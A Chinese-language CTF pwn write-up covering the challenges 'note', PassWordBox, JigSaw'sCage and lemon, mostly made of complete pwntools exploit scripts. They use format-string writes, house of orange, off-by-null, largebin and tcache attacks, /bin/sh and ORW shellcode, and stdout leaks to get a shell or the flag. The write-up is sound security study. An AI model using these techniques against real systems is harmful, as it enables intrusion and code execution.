note house of orange + 格式化字符串
第一次见到scanf造成的格式化字符串漏洞,以往的例子看到的都是printf。不过核心的思想是相同的:
可以指定参数
对%n都有写入的功能
对于%s,scanf是输入,printf是输出。所以在scanf中可以利用指定参数配合%s实现任意地址写 ,比%n更加自由,相对的在printf中往往利用指定参数配合%s实现任意地址读 。
另外在发现利用scanf配合%n修改字节的时候需要再次输入与要修改的字节数目相等的字符才算结束(猜测可能与scanf函数指定输入字节个数有关系)(嗯调发现的规律,运气真好)
exp1 格式化字符串改小top chunk house of orange 泄露基址 格式化字符串往realloc_hook写one_gadget地址,往malloc_hook写realloc+12地址,调整栈桢打通。比赛时对scanf中的格式化字符串漏洞理解的不到位,还用的是函数生成的%n的方法进行改写,其实整复杂了,走远了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 from pwn import *context(os='linux' , arch='amd64' , log_level='debug' ) r = process('./note' ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) def add (size, con ): r.sendlineafter('choice: ' , str (1 )) r.sendlineafter('size: ' , str (size)) r.sendlineafter('content: ' , con) def say (addr ): r.sendlineafter('choice: ' , str (2 )) r.sendlineafter('say ? ' , addr) def show (): r.sendlineafter('choice: ' , str (3 )) for i in range (14 ): add(0x100 ,"aaa" ) add(0x40 , "aaa" ) r.recvuntil('0x' ) addr = int (r.recv(12 ), 16 ) print hex (addr)fake_size = 0x00 fmt = fmtstr_payload(6 ,{addr + 74 : fake_size},write_size='short' ) print "fmtstr_payload ==> " ,fmtsay(fmt) add(0x100 , 'aaa' ) r.sendlineafter('choice: ' , str (1 )) r.sendlineafter('size: ' , str (0x10 )) r.sendafter('content: ' , '\x78' ) show() r.recvuntil('content:' ) libc.address = u64(r.recv(6 ).ljust(8 , '\x00' ))-344 -0x10 -libc.symbols['__malloc_hook' ] print hex (libc.address)sys_addr = libc.symbols['system' ] malloc_hook = libc.symbols['__malloc_hook' ] realloc_hook = libc.symbols['__realloc_hook' ] realloc = libc.symbols['realloc' ] rr = malloc_hook-0x8 one = 0x4527a ogg = libc.address+one tar = realloc_hook+2 tar = ogg for i in range (6 ): off = tar&0xff fmt = fmtstr_payload(6 ,{rr+i: off},write_size='byte' ) say(fmt) r.sendlineafter('?' , '3' *(off-1 )) tar = tar>>8 tar = realloc+12 for i in range (6 ): off = tar&0xff fmt = fmtstr_payload(6 ,{malloc_hook+i: off},write_size='byte' ) say(fmt) r.sendlineafter('?' , '3' *(off-1 )) tar = tar>>8 sleep(0.2 ) r.sendline('1' ) sleep(0.2 ) r.sendline('10' ) r.interactive()
exp1改进版 直接利用scanf指定参数配合%s完成任意地址写即可(输入位于栈上,可控)1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 from pwn import *context(os='linux' , arch='amd64' , log_level='debug' ) r = process('./note' ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) def add (size, con ): r.sendlineafter('choice: ' , str (1 )) r.sendlineafter('size: ' , str (size)) r.sendlineafter('content: ' , con) def say (addr, ct ): r.sendlineafter('choice: ' , str (2 )) r.sendlineafter('say ? ' , addr) r.sendlineafter('?' , ct) def show (): r.sendlineafter('choice: ' , str (3 )) for i in range (14 ): add(0x100 ,"aaa" ) add(0x40 , "aaa" ) r.recvuntil('0x' ) addr = int (r.recv(12 ), 16 ) print hex (addr)top_chunk = addr + 0x40 fmt = "%7$s" .ljust(8 , '\x00' )+p64(top_chunk+8 ) say(fmt, p64(0xd1 )) add(0x100 , 'aaa' ) r.sendlineafter('choice: ' , str (1 )) r.sendlineafter('size: ' , str (0x10 )) r.sendafter('content: ' , '\x78' ) show() r.recvuntil('content:' ) libc.address = u64(r.recv(6 ).ljust(8 , '\x00' ))-344 -0x10 -libc.symbols['__malloc_hook' ] print hex (libc.address)sys_addr = libc.symbols['system' ] malloc_hook = libc.symbols['__malloc_hook' ] realloc_hook = libc.symbols['__realloc_hook' ] realloc = libc.symbols['realloc' ] one = 0x4527a ogg = libc.address+one fmt = "%7$s" .ljust(8 , '\x00' )+p64(realloc_hook) say(fmt, p64(ogg)) fmt = "%7$s" .ljust(8 , '\x00' )+p64(malloc_hook) say(fmt, p64(realloc+12 )) gdb.attach(r) sleep(0.2 ) r.sendline('1' ) sleep(0.2 ) r.sendline('10' ) r.interactive()
exp2 泄露基址后利用栈溢出getshell
具体就是利用栈上的rbp指针进行读入布置rop链1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 from pwn import *context(os='linux' , arch='amd64' , log_level='debug' ) r = process('./note' ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) def add (size, con ): r.sendlineafter('choice: ' , str (1 )) r.sendlineafter('size: ' , str (size)) r.sendlineafter('content: ' , con) def say (addr, ct ): r.sendlineafter('choice: ' , str (2 )) r.sendlineafter('say ? ' , addr) r.sendlineafter('?' , ct) def show (): r.sendlineafter('choice: ' , str (3 )) for i in range (14 ): add(0x100 ,"aaa" ) add(0x40 , "/bin/sh\x00" ) r.recvuntil('0x' ) addr = int (r.recv(12 ), 16 ) print hex (addr)top_chunk = addr + 0x40 fmt = "%7$s" .ljust(8 , '\x00' )+p64(top_chunk+8 ) say(fmt, p64(0xd1 )) add(0x100 , 'aaa' ) r.sendlineafter('choice: ' , str (1 )) r.sendlineafter('size: ' , str (0x10 )) r.sendafter('content: ' , '\x78' ) show() r.recvuntil('content:' ) libc.address = u64(r.recv(6 ).ljust(8 , '\x00' ))-344 -0x10 -libc.symbols['__malloc_hook' ] print hex (libc.address)sys_addr = libc.symbols['system' ] malloc_hook = libc.symbols['__malloc_hook' ] realloc_hook = libc.symbols['__realloc_hook' ] realloc = libc.symbols['realloc' ] pr_rdi = libc.search(asm("pop rdi\nret" )).next () one = 0x4527a ogg = libc.address+one fmt = "%17$s" .ljust(8 , '\x00' ) pay = 'A' *8 pay+= p64(pr_rdi)+p64(addr)+p64(sys_addr) say(fmt, pay) r.interactive()
exp3 看到一种更暴力的方法,直接忽视house of orange 格式化字符串利用stdout泄露基址 后续任意地址写怎么打都行了,除了上述两种方法还可以劫持exit_hook,改_dl_rtld_lock_recursive为one_gadget 具体exp就略了
PassWordBox_FreeVersion off by null + 简单的异或加密
chunk a (unsorted bin) chunk b (used) chunk c (used) 溢出chunk c的pre_inuse位,free c,即可造成chunkvoerlap
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 from pwn import *context(os='linux' , arch='amd64' , log_level='debug' ) r = process('./pwdFree' ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) def add (id , len , pwd ): r.sendlineafter('Input Your Choice:' , str (1 )) r.sendlineafter('Input The ID You Want Save:' , id ) r.sendlineafter('Length Of Your Pwd:' , str (len )) r.sendlineafter('Your Pwd:' , pwd) def edit (idx, con ): r.sendlineafter('Input Your Choice:' , str (2 )) sleep(0.1 ) r.sendline(str (idx)) sleep(0.1 ) r.send(con) def show (idx ): r.sendlineafter('Input Your Choice:' , str (3 )) r.sendlineafter('Which PwdBox You Want Check:' , str (idx)) def delete (idx ): r.sendlineafter('Input Your Choice:' , str (4 )) r.sendlineafter('Idx you want 2 Delete:' , str (idx)) def decode (str , key ): tmp = '' for i in range (len (str )): tmp += chr ((ord (str [i]) ^ ord (key[i%8 ]))) return tmp add('AAAA' , 0xf0 , '\x00' ) r.recvuntil('First Add Done.Thx 4 Use. Save ID:' ) r.recv(32 ) key = r.recv(8 ) for i in range (0xe ): add('AAAA' , 0xf0 , decode('B' *0xf0 , key)) for i in range (7 ): delete(9 -i) delete(0 ) delete(1 ) for i in range (7 ): add('AAAA' , 0xf0 , decode('A' *0xf0 , key)) add('AAAA' , 0xf0 , decode('B' *0xf0 , key)) add('AAAA' , 0xf0 , decode('B' *0xf0 , key)) for i in range (7 ): delete(i) delete(8 ) for i in range (7 ): add('AAAA' , 0xf0 , decode('A' *0xf0 , key)) delete(9 ) add('AAAA' , 0xf8 , decode('A' *0xf0 +p16(0x200 )+'\x00' *0x6 , key)) for i in range (4 ): delete(i) for i in range (3 ): delete(i+5 ) delete(4 ) for i in range (7 ): add('AAAA' , 0xf0 , decode('a' *0xf0 , key)) add('AAAA' , 0xf0 , decode('a' *0xf0 , key)) show(8 ) r.recvuntil('Pwd is: ' ) addr = u64( decode((r.recv(6 )), key).ljust(8 ,'\x00' ) ) libc.address = addr-96 -0x10 -libc.symbols['__malloc_hook' ] print 'libc_base ===> ' , hex (libc.address)free_hook = libc.symbols['__free_hook' ] sys_addr = libc.symbols['system' ] add('AAAA' , 0xf0 , decode('a' *0xf0 , key)) add('AAAA' , 0xf0 , decode('a' *0xf0 , key)) delete(12 ) delete(11 ) delete(8 ) edit(9 , p64(free_hook)) add('AAAA' , 0xf0 , decode('/bin/sh\x00' , key)) add('AAAA' , 0xf0 , decode(p64(sys_addr), key)) delete(8 ) r.interactive()
PassWordBox_ProVersion 这题没有做出来,属于学识有限了。复现学习到了三种不同的姿势。
有UAF,限制chunk size在large bin范围
思路一
mp_.tcache_bins处记录了tcache bins的个数 在_int_free中将一个chunk放入tcache的代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 #if USE_TCACHE { size_t tc_idx = csize2tidx (size); if (tcache != NULL && tc_idx < mp_.tcache_bins) { tcache_entry *e = (tcache_entry *) chunk2mem (p); if (__glibc_unlikely (e->key == tcache)) { tcache_entry *tmp; LIBC_PROBE (memory_tcache_double_free, 2 , e, tc_idx); for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next) if (tmp == e) malloc_printerr ("free(): double free detected in tcache 2" ); } if (tcache->counts[tc_idx] < mp_.tcache_count) { tcache_put (p, tc_idx); return ; } } } #endif
在第四行可以看到,free chunk的时候会计算对应的size,如果小于mp._tcache.bins,就会进入后续的流程将chunk放进tcache中。所以决定chunk能否被放入tcache中的是mp._tcache.bins。
第一种做法就是利用largebin attack将mp._tcache.bins改成一个很大的值,从而将large chunk放进tcache中,再利用tcache的打法改free_hook即可
exp1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 from pwn import *context(os='linux' , arch='amd64' , log_level='debug' ) r = process('./pwdPro' ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) def add (idx, id , len , pwd ): r.sendlineafter('Input Your Choice:' , str (1 )) r.sendlineafter('Which PwdBox You Want Add:' , str (idx)) r.sendlineafter('Input The ID You Want Save:' , id ) r.sendlineafter('Length Of Your Pwd:' , str (len )) r.sendlineafter('Your Pwd:' , pwd) def edit (idx, con ): r.sendlineafter('Input Your Choice:' , str (2 )) r.sendlineafter('Which PwdBox You Want Edit:' , str (idx)) sleep(0.1 ) r.send(con) def show (idx ): r.sendlineafter('Input Your Choice:' , str (3 )) r.sendlineafter('Which PwdBox You Want Check:' , str (idx)) def delete (idx ): r.sendlineafter('Input Your Choice:' , str (4 )) r.sendlineafter('Idx you want 2 Delete:' , str (idx)) def recover (idx ): r.sendlineafter('Input Your Choice:' , str (5 )) r.sendlineafter('Idx you want 2 Recover:' , str (idx)) def decode (str , key ): tmp = '' for i in range (len (str )): tmp += chr (str [i] ^ key[i%8 ]) return tmp add(0 , b'AAAA' , 0x420 , b'\x00' ) r.recvuntil('First Add Done.Thx 4 Use. Save ID:' ) r.recv(32 ) key = r.recv(8 ) add(0 , b'1' *0x8 , 0x448 , decode(b'A' *0x41f , key)) add(1 , b'2' *0x8 , 0x520 , decode(b'B' *0x41f , key)) add(2 , b'3' *0x8 , 0x438 , decode(b'A' *0x41f , key)) add(3 , b'4' *0x8 , 0x520 , decode(b'B' *0x41f , key)) add(7 , b'8' *0x8 , 0x6e0 , decode(b'B' *0x41f , key)) add(8 , b'8' *0x8 , 0x6e0 , decode(b'B' *0x41f , key)) add(9 , b'8' *0x8 , 0x6e0 , decode(b'B' *0x41f , key)) add(10 , b'8' *0x8 , 0x6e0 , decode(b'/bin/sh\x00' , key)) delete(0 ) recover(0 ) show(0 ) r.recvuntil('Pwd is: ' ) libc.address = u64( decode(r.recv(6 ), key).ljust(8 , '\x00' ) )-96 -0x10 -libc.symbols['__malloc_hook' ] print ("libc_base ===> " , hex (libc.address))sys_addr = libc.symbols['system' ] free_hook = libc.symbols['__free_hook' ] malloc_hook = libc.symbols['__malloc_hook' ] tcachebin = libc.address+0x1eb280 +0x50 -0x20 add(5 , b'6' *0x8 , 0x520 , decode(b'B' *0x41f , key)) delete(2 ) recover(0 ) edit(0 , b'A' *0x10 ) show(0 ) r.recvuntil('Pwd is: ' ) r.recv(0x10 ) heap_addr = u64( decode(r.recv(6 ), key).ljust(8 , '\x00' ) ) print (hex (heap_addr))edit(0 , p64(libc.address+0x1ebfd0 )*2 +p64(heap_addr)+p64(tcachebin)+b'\x00' *0x20 ) add(6 , b'7' *0x8 , 0x520 , decode(b'Z' *0x500 +p64(0 ), key)) delete(9 ) delete(8 ) delete(7 ) recover(7 ) edit(7 , p64(free_hook)) add(9 , b'8' *0x8 , 0x6e0 , decode(b'B' *0x41f , key)) add(9 , b'8' *0x8 , 0x6e0 , decode(p64(sys_addr), key)) delete(10 ) r.interactive()
思路二
感谢mark同学的分享,原文链接在这里
未曾设想过的道路,反正我觉得挺炫的
通过修复largebin链表来实现多次large bin attack 构造两个chunk,其地址最后一个字节分别0x00和0x10,通过多次写入构造出一个fake unsorted bin,构造内容包括size、fd、bk、nextchunk.prevsize、nextchunk.size 其中size、nextchunk.prevsize、nextchunk.size全部设置为0x1000,fd和bk分别利用两个chunk进行largebin attack写入自己的堆地址
然后利用UAF修改两个real unsorted bin的fd和bk,将该fake chunk链入unsorted bin中,再申请出来从而覆写__free_hook
细节
修复largebin链表:当largebin中含有两个大小不等的chunk的时候,结构大致如下 (fd_nextsize指向比自己小的最大chunk;bk_nextsize指向比自己大的最小chunk)1 2 3 4 5 6 7 0 x0000000000000000 0 x0000000000000461 smaller chunk 0 x00007ffff7faefe0 smaller chunk smaller chunk 0 x0000000000000000 0 x0000000000000451 0 x00007ffff7faefe0 larger chunk larger chunk larger chunk
效果
exp2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 from pwn import *e = ELF("./pwdPro" ) libc = ELF('./libc.so' ) context.binary = e context.log_level = 'debug' def add (idx, id , length, password ): p.sendlineafter('Choice:' , '1' ) p.sendlineafter('Want Add:' , str (idx)) p.sendafter('Want Save:' , id ) p.sendlineafter('Pwd:' , str (length)) p.sendafter('Pwd:' , password) def edit (idx, new_pass ): p.sendlineafter('Choice:' , '2' ) p.sendlineafter('Want Edit:' , str (idx)) p.send(new_pass) def show (idx ): p.sendlineafter('Choice:' , '3' ) p.sendlineafter(' Check:' , str (idx)) def delete (idx ): p.sendafter('Choice:' , '4' ) p.sendlineafter(' 2 Delete:' , str (idx)) def recover (idx ): p.sendlineafter('Choice:' , '5' ) p.sendlineafter('Recover:' , str (idx)) def decode (content, key ): tmp = '' for i in range (len (content)): tmp += chr (content[i] ^ key[i%8 ]) return tmp p = process(['./pwdPro' ]) add(20 , 'l' , 0x460 , 'l\n' ) p.recvuntil('First Add Done.Thx 4 Use. Save ID:' ) p.recv(32 ) key = p.recv(8 ) add(0 , 'l' , 0x430 , 'l\n' ) add(20 , 'l' , 0x420 + 0xa0 , 'l\n' ) add(1 , 'l' , 0x440 , 'l\n' ) add(20 , 'l' , 0x4b0 , 'l\n' ) add(2 , 'l' , 0x450 , 'l\n' ) add(20 , 'l' , 0x420 , 'l\n' ) add(20 , 'l' , 0x600 , 'l\n' ) delete(1 ) recover(1 ) show(1 ) p.recvuntil('Pwd is: ' ) libc.address = u64(decode(p.recv(8 ) , key))-96 -0x10 -libc.symbols['__malloc_hook' ] print ('libc_base ===> ' , hex (libc.address))free_hook = libc.symbols['__free_hook' ] add(20 , 'A' , 0x500 , 'A\n' ) edit(1 , 'A' *0x10 ) show(1 ) p.recvuntil('Pwd is: ' ) p.recv(0x10 ) heap_addr = u64(decode(p.recv(6 ), key).ljust(8 , '\x00' )) print (hex (heap_addr))edit(1 , p64(libc.address+0x1ebfe0 )*2 ) add(20 , 'A' , 0x440 , 'A\n' ) def write_byte (addr, byte=0 ): if byte == 0x10 : idx = 1 elif byte == 0 : idx = 0 delete(2 ) add(20 , 'A' , 0x500 , 'A\n' ) delete(idx) recover(idx) recover(2 ) edit(2 , p64(libc.address+0x1ebfe0 )*2 +p64(0 )+p64(addr-0x20 )) add(20 , 'A' , 0x500 , 'A\n' ) if byte == 0x10 : edit(2 , p64(heap_addr)+p64(libc.address+0x1ebfe0 )+p64(heap_addr)*2 ) edit(1 , p64(libc.address+0x1ebfe0 )+p64(heap_addr+0x910 )*3 ) add(20 , 'A' , 0x440 , 'A\n' ) elif byte == 0 : edit(2 , p64(heap_addr-0x910 )+p64(libc.address+0x1ebfe0 )+p64(heap_addr-0x910 )*2 ) edit(0 , p64(libc.address+0x1ebfe0 )+p64(heap_addr+0x910 )*3 ) add(20 , 'A' , 0x430 , 'A\n' ) add(20 , 'A' , 0x450 , 'A\n' ) def write_1k (addr ): write_byte(addr, 0x00 ) write_byte(addr + 1 ,0x10 ) for i in range (6 ): write_byte(addr+2 +i,0 ) write_1k(free_hook-0x40 ) write_1k(free_hook-0x40 -8 +0x1000 ) write_1k(free_hook-0x40 -8 +0x1008 ) write_byte(free_hook-0x40 +8 , 0 ) write_byte(free_hook-0x40 +0x10 , 0x10 ) delete(0 ) delete(1 ) recover(0 ) recover(1 ) edit(1 , p64(free_hook-0x48 )) edit(0 , p64(libc.address+0x1ebbe0 )+p64(free_hook-0x48 )) add(1 ,'a' ,0x440 ,'a' +'\n' ) add(2 ,'a' ,0x430 ,decode(b"/bin/sh\x00" , key)+'\n' ) sys_addr = libc.symbols['system' ] add(3 ,'a' ,0x500 ,decode(b"\x00" *0x38 +p64(sys_addr), key)+'\n' ) delete(2 ) p.interactive()
思路三 官方wp的思路 house of banana 改日一起研究……
JigSaw’sCage int类型的数据使用%ld输入,溢出覆盖随机值,让高32位大于0低32位等于0,0x100000000~0x7fffffff00000000,即可让heap开出一页rwx区域。限制每个chunk大小0x10,分别写三段配合jmp就好
exp1 比赛的时候不是很会getshell的shellcode,就直接写orw了1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 from pwn import *context(os='linux' , arch='amd64' , log_level='debug' ) r = process('./JigSAW' ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) def add (idx ): r.recvuntil('Choice :' ) r.sendline(str (1 )) r.recvuntil('Index? :' ) r.sendline(str (idx)) def edit (idx, con ): r.recvuntil('Choice :' ) r.sendline(str (2 )) r.recvuntil('Index? :' ) r.sendline(str (idx)) r.recvuntil('iNput:' ) r.send(con) def delete (idx ): r.recvuntil('Choice :' ) r.sendline(str (3 )) r.recvuntil('Index? :' ) r.sendline(str (idx)) def test (idx ): r.recvuntil('Choice :' ) r.sendline(str (4 )) r.recvuntil('Index? :' ) r.sendline(str (idx)) def shwo (idx ): r.recvuntil('Choice :' ) r.sendline(str (5 )) r.recvuntil('Index? :' ) r.sendline(str (idx)) r.recvuntil('Name' ) r.sendline('ayoung' ) r.recvuntil('Make your Choice:' ) r.sendline(str (0xe00000000 )) gdb.attach(r) add(0 ) add(1 ) add(2 ) add(3 ) shellcode1 = ''' push 0x67616c66 push rsp pop rdi push 0 pop rdx push 2 pop rax jmp $+0x13 ''' print (len (asm(shellcode1)))edit(0 , asm(shellcode1)) shell2 = ''' syscall push 0 pop rax push 3 pop rdi push rbp pop rsi push 0x50 pop rdx jmp $+0x13 ''' print (len (asm(shell2)))edit(1 , asm(shell2)) shell3 = ''' syscall push 1 push 1 pop rax pop rdi push rbp pop rsi push 0x50 pop rdx syscall ''' print (len (asm(shell3)))edit(2 , asm(shell3)) test(0 ) r.interactive()
exp2 getshell
一个chunk存放/bin/sh 另一个chunk构造shellcode完成getshell,短小精悍,只需要14个字节1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 from pwn import *context(os='linux' , arch='amd64' , log_level='debug' ) r = process('./JigSAW' ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) def add (idx ): r.recvuntil('Choice :' ) r.sendline(str (1 )) r.recvuntil('Index? :' ) r.sendline(str (idx)) def edit (idx, con ): r.recvuntil('Choice :' ) r.sendline(str (2 )) r.recvuntil('Index? :' ) r.sendline(str (idx)) r.recvuntil('iNput:' ) r.send(con) def delete (idx ): r.recvuntil('Choice :' ) r.sendline(str (3 )) r.recvuntil('Index? :' ) r.sendline(str (idx)) def test (idx ): r.recvuntil('Choice :' ) r.sendline(str (4 )) r.recvuntil('Index? :' ) r.sendline(str (idx)) def shwo (idx ): r.recvuntil('Choice :' ) r.sendline(str (5 )) r.recvuntil('Index? :' ) r.sendline(str (idx)) r.recvuntil('Name' ) r.sendline('ayoung' ) r.recvuntil('Make your Choice:' ) r.sendline(str (0xe00000000 )) add(0 ) add(1 ) edit(1 , '/bin/sh\x00' ) add(2 ) shell = ''' add dl,0x20 push rsi pop rdi xchg rdi,rdx push rsi pop rax add al,59 syscall ''' edit(0 , asm(shell)) test(0 ) r.interactive()
lemon 赛后复现学习
题目 开了沙箱
绕过伪随机数 首先绕过一个伪随机数,直接照着IDA写个程序爆破(后发现很多值多可以满足条件,只是循环需要的时间略有不同)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 #include <stdio.h> #include <stdlib.h> int main () { long long buf=0x0000000a00000000 ; int HI; int v1; while (1 ){ HI = buf>>32 ; v1 = HI ^ buf | (3 * buf - HI) & (buf / HI); for (int i = 0 ; i < buf - HI; ++i){ v1 ^= rand(); if (v1 == 330750776 ){ printf ("%lld\n" , buf); return 0 ; } } buf++; } return 0 ; }
测出来后直接send(p64(0xa00000000))就好 然后程序会把flag读到栈上 同时在bss段上存放了一个栈地址
经典菜单
get 申请堆块。如果content的size大于0x400会把之前申请的chunk释放了,但其指针仍记录在bss上
eat 1/2几率获得chunk地址低两个字节
throw 释放堆块
color 只能用一次,用在堆上发生堆溢出,index数据类型为int,可以输入负数
思路一 官方思路,简洁巧妙
首先在绕过随机数后可以输入0x15字节,这里的输入需要构造一下
然后构造即将崩溃的堆结构:
申请size大于0x400,再free掉对应指针,造成double free(glibc版本2.26)
再拿两个chunk出来,并写入一个字节修改fd
申请大chunk,在里面布置size位0x31,对应fd
再申请,拿到fake chunk,此时整个堆结构已经处在了崩溃的边缘
接下来color功能中index输入-0x104,指向bss段上的栈地址,同时这里需要配合前面说的0x15(20)个字节的输入,绕过color中的检查并控制buf[4]为想要输入的字节数1 2 if ( !buf || !buf[5 ] ) exit_0();
利用这里的输入可以覆盖栈上的环境变量argv[0],partial overwrite修改其指向栈上的flag(存在1/16爆破)
然后执行throw(0) 这里会执行到free我们伪造的fake chunk,glibc判断tcache已满(-1)会进到fastbin的判断里,接着会去找这个chunk的next chunk检查一下size位是否小于2*SIZE_SZ(SIZE_SZ64位下为8) 于是发现查到的size为0,发生报错触发malloc_printerr,最终打印出flag
exp1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 from pwn import *context(os='linux' , arch='amd64' ) def get (idx, name, sz, con=None ): r.sendlineafter('your choice >>> ' , str (1 )) r.sendlineafter('Input the index of your lemon:' , str (idx)) r.sendafter('Now, name your lemon:' , name) r.sendlineafter('Input the length of message for you lemon:' , str (sz)) if (con != None ): r.sendafter('Leave your message:' , con) def eat (idx ): r.sendlineafter('your choice >>> ' , str (2 )) r.sendlineafter('Input the index of your lemon :' , str (idx)) def throw (idx ): r.sendlineafter('your choice >>> ' , str (3 )) r.sendlineafter('Input the index of your lemon :' , str (idx)) def color (idx, n ): r.sendlineafter('your choice >>> ' , str (4 )) r.sendlineafter('Input the index of your lemon :' , str (idx)) r.sendafter("Now it's your time to draw and color!" , n) def Firstplace (): r.sendlineafter('me?' , 'yes' ) r.sendafter('lucky number' , p64(0xa00000000 )) r.sendafter('first:' , '\xff' *0x10 +'\x00\x02\x00\x00\x01' ) r.recvuntil('0x' ) return r.recv(3 ) def attack (): flag_addr = int (Firstplace(), 16 )-0x40 get(0 , 'h' , 0x410 ) throw(0 ) get(0 , '\xa0' , 0x300 , p64(0 )+p64(0x31 )) get(1 , 'h' , 0x20 , 'a' ) color(-0x104 , 'a' *0x138 +p16((0xd << 12 ) | flag_addr)) throw(0 ) if __name__ == '__main__' : while True : r = process('./lemon_pwn' ) attack() try : r.recvuntil("*** Error in `flag" ) except : r.close() continue else : s = r.recvuntil('}' ) print 'flag' +s r.close() break
思路二 控制tcache结构体+IO_FILE的利用
申请到堆上大小为0x250的tcache结构体 修改0x250大小的bin数量为7 释放掉结构体,被放进unsorted bin
然后申请0x50大小的chunk,控制偏移,对应0x70大小tcache的数量改成3,同时切割后unsorted bin的bk落在0x70大小tcache链表头部
再申请一次,从该处切割并利用partial overwrite覆盖原unsorted bin的bk指向stderr+173,即0x70tcache指向stderr+173,也就是stdout的上方。这里指向这个地址是因为程序自己写了一个对申请chunk的size位检查,需要有相应的size才能拿到chunk,而此处有作为fake chunk的size0x7f
接下来再申请一次0x70的chunk就能向stdout写入,从而泄露libc基址
然后把刚才切割出来的chunk释放掉,再次申请按照同样的方法控制stdout,修改_IO_write_base指向environ,_IO_write_ptr指向environ+0x10从而泄露栈地址
最后利用上述同样的方法用stdout泄露flag 整个过程在stdout处需要1/16爆破,在eat中存在1/2概率通过,总的成功概率为1/32
详细exp这里就不贴了,可以看mark佬的文章
思路三 核心的想法和思路二差不多,前期都是控制tcache结构体。在泄露基址之后从free_hook上方很远处找到一个指针算下偏移作为size位,然后不断的控制0x70tcache头指针、申请chunk和布置size,最终拿到free_hook,并配合setcontext进行rop